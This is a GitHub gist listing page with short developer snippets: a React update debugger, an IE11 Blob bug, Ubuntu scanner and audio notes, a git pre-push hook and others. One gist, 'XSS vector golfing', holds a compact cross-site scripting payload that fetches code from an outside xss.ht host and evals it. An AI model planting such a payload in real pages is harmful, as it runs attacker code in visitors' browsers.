Skip to content

Instantly share code, notes, and snippets.

View Prinzhorn's full-sized avatar
🌚
Existing

Alexander Prinzhorn Prinzhorn

🌚
Existing
View GitHub Profile
@Prinzhorn
Prinzhorn / index.js
Created September 18, 2015 14:46
Quick and dirty way to debug which prop/state changes caused react update
componentDidUpdate: function(prevProps, prevState) {
var differentProps = {};
var differentState = {};
var k;
for(k in prevProps) {
if(prevProps[k] !== this.props[k]) {
differentProps[k] = [prevProps[k], this.props[k]];
}
}
@Prinzhorn
Prinzhorn / index.js
Last active January 1, 2020 18:26
Internet Explorer 11 Blob from DataView throws InvalidStateError
var buffer = new ArrayBuffer(8);
var left = new DataView(buffer, 0, 4);
try {
//Throws InvalidStateError in IE 11.
//It does work if we use a specific view like Uint8Array and not the generic DataView contructor.
new Blob([left]);
} catch(ex) {
alert(ex.message);
}
@Prinzhorn
Prinzhorn / INSTALLATION.md
Last active April 4, 2019 18:15
Ubuntu scanner Samsung SCX-3405

Find printer IP

lpinfo  -v

Replace the USB entry with TCP

nano /etc/sane.d/xerox_mfp.conf
@Prinzhorn
Prinzhorn / README.md
Created April 24, 2018 07:58
Intel NUC skull canyon Ubuntu audio input microphone headset recording
@Prinzhorn
Prinzhorn / levenshtein-3-beer.txt
Created January 13, 2018 11:39
Words with a distance of <= 3 to "beer"
peng 3
bebop 3
gar 3
newt 3
ref 3
yeven 3
bats 3
boles 3
kea 3
urger 3
@Prinzhorn
Prinzhorn / xss-golf.js
Last active July 26, 2017 16:34
XSS vector golfing
//Before
function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//*.xss.ht");a.send();
//After
with(new XMLHttpRequest){onload=a=>eval(responseText);open("GET", "//*.xss.ht");send()}
@Prinzhorn
Prinzhorn / output
Created July 13, 2017 18:14
Apache 2 in a folder from command line
(13)Permission denied: AH00072: make_sock: could not bind to address [::]:80
(13)Permission denied: AH00072: make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
AH00015: Unable to open logs
<!DOCTYPE html>
<head>
<meta charset="utf-8">
</head>
<body>
<svg width="500" height="500">
<clipPath id="clippy1"></clipPath>
<clipPath id="clippy2"></clipPath>
<clipPath id="clippy3"></clipPath>
@Prinzhorn
Prinzhorn / README.md
Last active November 5, 2016 08:46
Conditional rendering handler for Epoxy.js

Similar to the toggle handler, but it will detach the element from the DOM instead of just hiding it. Much like knockout's if binding.

Usage

<div data-bind="if: someCondition"></div>

where someCondition can of course also be a computed property, so this gives you all flexibility you need.

@Prinzhorn
Prinzhorn / pre-push
Created November 11, 2013 10:33
pre-push hook to prevent pushing when untracked files are present. i.e. breaking your production server because you forgot to add a new file in your commit and the tests run locally inside the repo.
git status --porcelain | grep '^??'
rc=$?
#grep exits with 0 when a match is found.
if [ $rc = 0 ] ; then
echo "Untracked files present. Aborting push.";
exit 1;
fi